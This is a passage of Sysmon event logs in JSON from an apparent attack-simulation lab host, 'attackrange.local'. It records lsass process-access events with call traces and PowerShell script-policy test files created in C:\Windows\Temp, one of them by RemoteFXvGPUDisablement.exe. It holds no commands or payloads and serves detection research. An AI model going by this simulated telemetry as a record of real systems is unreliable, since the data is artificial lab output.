AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:41.953\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:41.953","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":989,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:41.953\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:41.953","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":990,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:41.953\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nSourceProcessId: 1220\r\nSourceThreadId: 1960\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x100000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\es.dll+118e5|c:\\windows\\system32\\es.dll+13b72|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:41.953","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","SourceProcessId":"1220","SourceThreadId":"1960","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x100000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\es.dll+118e5|c:\\windows\\system32\\es.dll+13b72|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":991,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:42.063\r\nProcessGuid: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nProcessId: 2184\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Windows\\Temp\\__PSScriptPolicyTest_wmnul2s4.vxc.ps1\r\nCreationUtcTime: 2020-08-07 11:49:42.063","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:42.063","ProcessGuid":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Windows\\Temp\\__PSScriptPolicyTest_wmnul2s4.vxc.ps1","CreationUtcTime":"2020-08-07 11:49:42.063","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":992,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:42.063\r\nProcessGuid: {90617006-3FD4-5F2D-0000-0010693E0100}\r\nProcessId: 2168\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Windows\\Temp\\__PSScriptPolicyTest_0f2llh3u.s0j.ps1\r\nCreationUtcTime: 2020-08-07 11:49:42.063","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:42.063","ProcessGuid":"{90617006-3FD4-5F2D-0000-0010693E0100}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Windows\\Temp\\__PSScriptPolicyTest_0f2llh3u.s0j.ps1","CreationUtcTime":"2020-08-07 11:49:42.063","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":993,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:42.125\r\nProcessGuid: {90617006-3FD4-5F2D-0000-001054400100}\r\nProcessId: 2192\r\nImage: C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe\r\nTargetFilename: C:\\Windows\\Temp\\__PSScriptPolicyTest_awan0phj.lwl.ps1\r\nCreationUtcTime: 2020-08-07 11:49:42.125","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:42.125","ProcessGuid":"{90617006-3FD4-5F2D-0000-001054400100}","Image":"C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe","TargetFilename":"C:\\Windows\\Temp\\__PSScriptPolicyTest_awan0phj.lwl.ps1","CreationUtcTime":"2020-08-07 11:49:42.125","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":994,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:42.906\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nTargetProcessId: 2184\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:42.906","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","TargetProcessId":"2184","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":995,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:42.906\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010693E0100}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:42.906","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010693E0100}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":996,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:42.906\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010693E0100}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:42.906","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010693E0100}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":997,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:42.906\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nTargetProcessId: 2184\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C: